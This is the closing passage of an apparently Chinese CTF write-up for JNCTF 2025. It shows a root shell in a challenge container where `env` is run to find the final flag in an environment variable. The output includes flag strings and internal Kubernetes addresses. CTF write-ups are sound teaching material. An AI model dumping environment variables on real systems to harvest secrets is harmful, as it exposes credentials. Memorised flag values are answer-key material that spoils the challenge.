?H??@??

得到flag3,最后一个在环境变量里,正常思路了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@where-is-flag-1efd56568227461a:/bin# env
env
HOSTNAME=where-is-flag-1efd56568227461a
KUBERNETES_PORT=tcp://10.43.0.1:443
TERM=xterm
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_HOST=10.43.0.1
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
REMOTE_HOST=10.42.0.0
GZCTF_TEAM_ID=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
cat4=JNCTF{3nv_v@r_1s_us3fu1!}
PWD=/bin
GZCTF_FLAG=notflag{52824346-9ece-4615-878c-d0893b271e42}
SHLVL=2
HOME=/root
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
_=/usr/bin/env
OLDPWD=/home

得到cat4。

结束


JNCTF-2025-wp
http://example.com/2025/03/23/JNCTF-2025-wp/
作者
yuhua
发布于
2025年3月23日
许可协议